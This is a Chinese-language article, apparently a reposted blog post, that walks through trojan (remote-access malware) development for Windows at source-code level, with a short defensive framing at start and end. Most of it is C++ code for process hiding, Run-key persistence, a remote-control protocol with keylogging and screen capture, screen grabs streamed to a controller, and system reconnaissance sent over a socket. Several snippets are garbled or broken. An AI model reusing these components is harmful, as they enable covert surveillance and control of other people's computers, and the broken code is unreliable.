- 近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。
1、木马程序的分类- 木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。
- 2.木马程序的隐藏技术
- 木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。
- 说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。
- 进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
- 线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。
- 服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。
- 想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
- 伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。
- 当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。
- 出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。
- WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
- {
- try
- {
- DWORD dwVersion = GetVersion();//取得Windows的版本号
- if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表
- {
- int (CALLBACK *rsp)(DWORD,DWORD);
- HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL
- rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口
- rsp(NULL,1);//注册服务
- FreeLibrary(dll);//释放DLL模块
- }
- }
- catch (Exception &exception)//处理异常事件
- {
- //处理异常事件
- }
- return 0;
- }
- 3、程序的自加载运行技术
- 让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:
- 自装载部分:
- HKEY hkey;
- AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PName
- unsigned long k;
- k=REG_OPENED_EXISTING_KEY;
- RegCreateKeyEx(HKEY_LOCAL_MACHINE,
- "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//",
- 0L,
- NULL,
- REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
- NULL,
- &hkey,&k);
- RegSetValueEx(hkey,
- "BackGroup",
- 0,
- REG_SZ,
- NewProgramName.c_str(),
- NewProgramName.Length());
- RegCloseKey(hkey);
- if (int(ShellExecute(Handle,
- "open",
- NewProgramName.c_str(),
- NULL,
- NULL,
- SW_HIDE))>32)
- {
- WantClose=true;
- Close();
- }
- else
- {
- HKEY hkey;
- unsigned long k;
- k=REG_OPENED_EXISTING_KEY;
- long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
- "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",
- 0,
- NULL,
- REG_OPTION_NON_VOLATILE,
- KEY_SET_VALUE,NULL,
- &hkey,&k);
- RegSetValueEx(hkey,
- "BackGroup",
- 0,
- REG_SZ,
- ProgramName.c_str(),
- ProgramName.Length());
- int num=0;
- char str[20];
- DWORD lth=20;
- DWORD type;
- char strv[255];
- DWORD vl=254;
- DWORD Suc;
- do{
- Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
- (DWORD)num,str,
- NULL,
- &type,
- strv,&vl);
- if (strcmp(str,"BGroup")==0)
- {
- DeleteFile(AnsiString(strv));
- RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
- break;
- }
- }while(Suc== ERROR_SUCCESS);
- RegCloseKey(hkey);
- }
- 自装载程序的卸载代码:
- int num;
- char str2[20];
- DWORD lth=20;
- DWORD type;
- char strv[255];
- DWORD vl=254;
- DWORD Suc;
- do{
- Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
- (DWORD)num,
- str,
- NULL,
- &type,
- strv,
- &vl);
- if (strcmp(str,"BGroup")==0)
- {
- DeleteFile(AnsiString(strv));
- RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
- break;
- }
- }while(Suc== ERROR_SUCCESS)
- HKEY hkey;
- unsigned long k;
- k=REG_OPENED_EXISTING_KEY;
- RegCreateKeyEx(HKEY_LOCAL_MACHINE,
- "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",
- 0,
- NULL,
- REG_OPTION_NON_VOLATILE,
- KEY_SET_VALUE,NULL,
- &hkey,
- &k);
- do{
- Suc=RegEnumValue(hkey,(DWORD)num,str,if (strcmp(str,"BackGroup")==0)
- {
- DeleteFile(AnsiString(strv));
- RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
- break;
- }
- }while(Suc== ERROR_SUCCESS)
- RegCloseKey(hkey);
- 其中自装载部分使用C++ Builder可以这样写,会比较简化:
- TRegistry & regKey = *new TRegistry();
- regKey.RootKey=HKEY_LOCAL_MACHINE;
- regKey.OpenKey("Software//Microsoft//Windows//CurrentVersion//Run",true);
- if(!regKey.ValueExists("Interbase Server"))
- {
- regKey.WriteString("Interbase Server",
- "D://Program Files//Borland//IntrBase//BIN//ibserver.exe");
- }
- regKey.CloseKey();
- delete ®Key;
- 4、木马程序的建立连接的隐藏
- 木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。
- C:/Documents and Settings/bigball>netstat -n
- Active Connections
- Proto Local Address Foreign Address State
- TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED
- TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED
- TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED
- TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED
- TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT
- TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED
- TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT
- C:/Documents and Settings/bigball>netstat -a
- Active Connections
- Proto Local Address Foreign Address State
- TCP Liumy:echo Liumy:0 LISTENING
- TCP Liumy:discard Liumy:0 LISTENING
- TCP Liumy:daytime Liumy:0 LISTENING
- TCP Liumy:qotd Liumy:0 LISTENING
- TCP Liumy:chargen Liumy:0 LISTENING
- TCP Liumy:epmap Liumy:0 LISTENING
- TCP Liumy:microsoft-ds Liumy:0 LISTENING
- TCP Liumy:1025 Liumy:0 LISTENING
- TCP Liumy:1026 Liumy:0 LISTENING
- TCP Liumy:1031 Liumy:0 LISTENING
- TCP Liumy:1032 Liumy:0 LISTENING
- TCP Liumy:1112 Liumy:0 LISTENING
- TCP Liumy:1135 Liumy:0 LISTENING
- TCP Liumy:1142 Liumy:0 LISTENING
- TCP Liumy:1801 Liumy:0 LISTENING
- TCP Liumy:3372 Liumy:0 LISTENING
- TCP Liumy:3389 Liumy:0 LISTENING
- TCP Liumy:netbios-ssn Liumy:0 LISTENING
- TCP Liumy:1028 Liumy:0 LISTENING
- TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB
- TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI
- TCP Liumy:1135 202.130.239.223:http ESTABLISHED
- TCP Liumy:1142 202.130.239.223:http ESTABLISHED
- TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT
- TCP Liumy:1170 202.130.239.133:http TIME_WAIT
- TCP Liumy:2103 Liumy:0 LISTENING
- TCP Liumy:2105 Liumy:0 LISTENING
- TCP Liumy:2107 Liumy:0 LISTENING
- UDP Liumy:echo *:*
- UDP Liumy:discard *:*
- UDP Liumy:daytime *:*
- UDP Liumy:qotd *:*
- UDP Liumy:chargen *:*
- UDP Liumy:epmap *:*
- UDP Liumy:snmp *:*
- UDP Liumy:microsoft-ds *:*
- UDP Liumy:1027 *:*
- UDP Liumy:1029 *:*
- UDP Liumy:3527 *:*
- UDP Liumy:4000 *:*
- UDP Liumy:4001 *:*
- UDP Liumy:1033 *:*
- UDP Liumy:1148 *:*
- UDP Liumy:netbios-ns *:*
- UDP Liumy:netbios-dgm *:*
- UDP Liumy:isakmp *:*
- 但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:
- 网络层次结构图
- 5、发送数据的组织方法
- 关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:
- typedef struct{ //定义消息结构
- //char ip[20];
- char Type; //消息种类
- char Password[20]; //密码
- int CNum; //消息操作号
- //int Length; //消息长度
- }Msg;
- #define MsgLen sizeof(Msg)
- //-------------------------------------------
- //对话框数据包定义:Dlg_Msg_Type.h
- //-------------------------------------------
- //定义如下消息类型:
- #define MsgDlgCommon 4//连接事件
- #define MsgDlgSend 5//发送完成事件
- //消息结构
- typedef struct{
- char Name[20];//对话框标题
- char Msg[256];//对话框消息内容
- }MsgDlgUint;
- #define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度
- //------------------------------------------
- //聊天数据包定义:Chat_Msg_Type.h
- //------------------------------------------
- //定义如下消息类型:
- #define MsgChatCommon 0//连接事件
- #define MsgChatConnect 1//接入事件
- #define MsgChatEscept 2//结束事件
- #define MsgChatReceived 16//确认对话内容收到
- //消息结构
- typedef struct{
- char ClientName[20];//Client自定义的名称
- char Msg[256];//发送的消息
- }MsgChatUint;
- #define MsgChatLen sizeof(MsgChatUint)//消息单元长度
- //------------------------------------------
- //重启数据包定义:Reboot_Msg_Type.h
- //------------------------------------------
- //定义如下消息类型:
- #define MsgReBoot 15//重启事件
- //------------------------------------------
- //目录结构请求数据包定义:Dir_Msg_Type.h
- //------------------------------------------
- //定义如下消息类型:
- #define MsgGetDirInfo 17
- #define MsgReceiveGetDirInfo 18
- typedef struct{
- char Dir[4096];//你要的目录名
- }MsgDirUint;
- #define MsgDirUintLen sizeof(MsgDirUint)
- // TCP的Msg
- typedef struct{ //定义消息结构
- char SType; //消息种类
- char SPassword[20]; //密码
- //int SNum; //消息操作号
- char *AllMsg;
- }SMsg;
- #define SMsgLen sizeof(SMsg)
- #define MSGListProgram 19
- #define MSGFlyMouse 21
- #define MSGGoWithMouse 22
- #define MSGSaveKey 23
- #define MSGTracekey 24
- #define MsgCopyScreen 25//tcp接收消息,udp请求消息
- #define MSGCopyWindow 26
- //-------------------------
- //鼠标指针隐藏和显示控制
- //-------------------------
- #define MsgSetMouseStat 27//设置消息
- #define MsgMouseStat 28//成功消息
- typedef struct{
- bool mouseshow;
- }MsgSetMouseStatUint;
- #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
- 上一页 1 2 3 4 5 6 7 下一页
- //-------------------------
- //任务栏隐藏和显示控制
- //-------------------------
- #define MsgSetTaskBarStat 29//设置消息
- #define MsgTaskBarStat 30//成功消息
- typedef struct{
- bool taskshow;
- }MsgSetTaskBarStatUint;
- #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
- //-------------------------
- //得到机器名
- //-------------------------
- #define MsgGetNetBiosName 31//取请求
- #define MsgNetBiosName 32//回送机器名
- typedef struct{
- char NetBiosName[128];
- }MsgNetBiosNameUint;
- #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
- //-------------------------
- //关闭进程变更!
- //-------------------------
- #define MsgSetProgramClose 33//关闭请求
- #define MsgProgramClosed 34//成功消息-----
- typedef struct{
- char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
- }MsgSetProgramCloseUint;
- #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
- //-------------------------
- //打开进程变更!
- //-------------------------
- #define MsgSetProgramOpen 20//打开请求
- #define MsgProgramOpened 36//成功消息
- typedef struct{
- char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字
- bool ProgramShow;//前台运行或后台运行程序(隐藏运行)
- }MsgSetProgramOpenUint;
- #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
- #define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)
- 上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。
- 数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:
- Msg *msg=new Msg;
- TMemoryStream *RData=new TMemoryStream;
- NMUDP1->ReadStream(RData);
- RData->Read(msg,sizeof(Msg));
- UdpConnect *udpcon_nect=new UdpConnect;
- NetBiosName *netbiosname=new NetBiosName;
- if(msg->CNum==CNumBak)
- return;
- else{
- CNumBak=msg->CNum;
- switch(msg->Type)
- {
- case 0://MsgUdpConnect
- RData->Read(udpconnect,sizeof(UdpConnect));
- checkuser(udpconnect->IsRight);
- break;
- case 1:
- RData->Read(netbiosname,sizeof(NetBiosName));
- AnsiString jqm="机器名 ";
- jqm+=(AnsiString)netbiosname->NetBiosName;
- Memo2->Lines->Add(jqm);
- break;
- }
- }
- 当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:
- NMUDP1->RemoteHost=FromIP;
- NMUDP1->RemotePort=Port;
- TMemoryStream *RData=new TMemoryStream;
- NMUDP1->ReadStream(RData);
- Msg *msg=new Msg;
- RData->Read(msg,sizeof(Msg));
- if(msg->CNum==CNumBak)
- return;
- else
- {
- CNumBak=msg->CNum;
- switch(msg->Type)
- {
- case 0:
- checkuser(msg->Password);
- break;
- case 1:
- GetNetBiosName();
- break;
- case 2:
- CheckHard();
- break;
- }
- }
- 此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:
- #define MAXXCount 10 //屏幕X方向最多分割块数
- #define MAXYCount 5 //... Y................
- #define DestNum 1000 //每块的偏移检测点最大个数
- COLORREF Colors[MAXXCount][MAXYCount][DestNum];
- COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
- TPoint Dests[DestNum];
- int Sw;
- int Sh;
- int xCount;
- int yCount;
- int ItemWidth;
- int ItemHeight;
- int Dnum;
- int Qlity;
- //得到消息后执行:
- //另外:接收到的数据包中分析出 Dnum ,Qlity
- //Dnum:偏移观测点数量
- //Qlity:图象要求质量
- __fastcall TForm1::CopyScreen(int DNum,int Qlity){
- ItemWidth=Sw/xCount;
- ItemHeight=Sh/yCount;
- Sw=Screen->Width;
- Sh=Screen->Height;
- xCount=(Sw>1000)?8:6;
- yCount=(Sh>1000)?3:2;
- for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
- Dests[num1].y=random(ItemHeight);
- }
- CatchScreen(DNum,Qlity);
- }
- //收到刷屏消息后只执行:
- CatchScreen(DNum,Qlity);
- __fastcall TForm1::CatchScreen(int DNum,int Qlity){
- //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
- //DNum: 偏移量 Qlity:图象质量
- HDC dc=GetDC(GetDesktopWindow());
- Graphics::TBitmap *bm=new Graphics::TBitmap;
- bm->Width=Sw;
- bm->Height=Sh;
- BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
- int num1,num2,num3;
- int nowx,nowy;
- bool Change;
- bool ItemChange[MAXXCount][MAXYCount];
- for (num1=0;num1 nowx=ItemWidth*num1;
- for (num2=0;num2 nowy=ItemHeight*num2;
- Change=false;
- for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
- if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
- BakColors[num1][num2][num3]=Colors[num1][num2][num3];
- ItemChange[num1][num2]=true;
- }
- }
- }
- }
- int CNum,MaxCNum;
- int ChangedNum=0;
- TRect *Rect;
- int num4;
- int MinSize=10000;
- int m;
- TRect MinRect;
- Graphics::TBitmap *bt2=new Graphics::TBitmap;
- TJPEGImage *j=new TJPEGImage;
- //************************
- j->Quality=Qlity;
- //************************
- CopyScreenUint CopyScreen;
- CopyScreenItemUint CopyScreenItem;
- TMemoryStream *ms=new TMemoryStream;
- ms->Write(&TcpMsg,sizeof(TcpMsgUint));
- ms->Write(&CopyScreen,sizeof(CopyScreenUint));
- do{
- for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
- MaxCNum=0;
- for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形
- CNum=GetChangedNum(TRect(num1,num2,num3,num4));
- if (CNum>MaxCNum) MaxCNum=CNum;
- m=(num3-num1)*(num4-num2);
- if (2*m-CNum MinSize=2*m-CNum;
- MinRect=TRect(num1,num2,num3,num4);
- }
- }
- }
- TMemoryStream *ms;
- BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
- j->Assign(bt2);
- j->SaveToStream(ms2);
- CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
- CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
- ms2->Position=0;
- CopyScreenItem.Length=ms2->Size;
- ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
- ms->CopyFrom(ms2,ms2->Size);
- ChangedNum++;
- }while(MaxCNum>0);
- TcpMsg.Type=MsgCopyScreen;
- ms->Position=0;
- TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
- CopyScreen.Count=ChangedNum;
- ms->Write(&TcpMsg,sizeof(TcpMsgUint));
- ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
- ms->Position=0;
- sock->SendStream(ms);
- }
-
6、目标机器情况的获取
相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。
AnsiString cs;
FILE *fp;
fp=fopen("temp.had","w+");
//TODO: Add your source code here
//获得CPU型号
SYSTEM_INFO systeminfo;
GetSystemInfo (&systeminfo);
cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
MEMORYSTATUS memory;
memory.dwLength =sizeof(memory); //初始化
GlobalMemoryStatus(&memory);
cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
DWORD sector,byte,cluster,free;
long int freespace,totalspace;
UINT type;
char name;
//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
//5—CD-ROM、6—内存虚拟盘
char volname[255],filename[100];//buffer[512];
DWORD sno,maxl,fileflag ;
for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z
type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型
if(type==0){
cs="未知类型磁盘:"+String(name)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==2){
cs="可移动类型磁盘:"+String(name)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==3){
cs="固定磁盘:"+String(name)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if(type==4) {
cs="网络映射磁盘:"+String(name)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==5){
cs="光驱:"+String(name)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
else if (type==6){
cs="内存虚拟磁盘:"+String(name)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)){
cs=String(name)+"盘卷标为:"+String(volname)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+"盘序号为:"+String(sno)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数
totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
freespace=int(free)*byte*sector/1024/1024; //计算可用空间
cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
}
int wavedevice,mididevice;
WAVEOUTCAPS wavecap;
MIDIOUTCAPS midicap;
wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
if (wavedevice!=0){
waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
cs="当前波形设备:"+String(wavecap.szPname)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
if (mididevice!=0){
midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
cs="当前MIDI设备:"+String(midicap.szPname)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
}
long double tcs;
long double tc;
long int bpp,cp;
cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
tcs=pow(2,bpp); //计算色彩的梯度数
cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
tc= pow(double(tcs),double(cp)); //计算色深
AnsiString sss;
sss=bpp;
cs="当前色深为:"+sss+"/n";
fwrite(cs.c_str(),cs.Length(),1,fp);
fclose(fp);
AnsiString FileName="temp.had";
char *buf;
TcpMsgUint Msg2;
strcpy(Msg2.TPassword,Password);
TMemoryStream *ms=new TMemoryStream;
ms->Clear();
if (!FileExists(FileName)) CheckHard();
TFileStream *fs=new TFileStream(FileName,fmOpenRead);
上一页 1 2 3
buf=new char[fs->Size+sizeof(TcpMsgUint)+1];
fs->Read(buf,fs->Size);
Msg2.Type=MsgGetHardWare;
Msg2.Length=fs->Size;
FileClose(fs->Handle);
ms->Write(&Msg2,sizeof(TcpMsgUint));
ms->Write(buf,Msg2.Length);
ms->Position=0;
delete []buf;
try{
sock->SendStream(ms);
}
catch(Exception&e) {
}
}
上面一段程序,基本上把相关的系统信息都取到了。
7、服务器端程序的包装与加密
用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?
首先让我们来做一个实验:
进入Windows的命令行模式下做如下操作
1)C:/>copy Server.Exe Server.Bak
2)建立一个文本文件Test.Txt,其内容为“
http://www.patching.net”
3)C:/>type Text.Txt>>Server.Exe
4)运行Server.Exe
怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。
8、总结
以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些 反黑技术上的帮助。
木马程序开发技术:病毒源代码详解
最新推荐文章于 2023-09-09 17:58:29 发布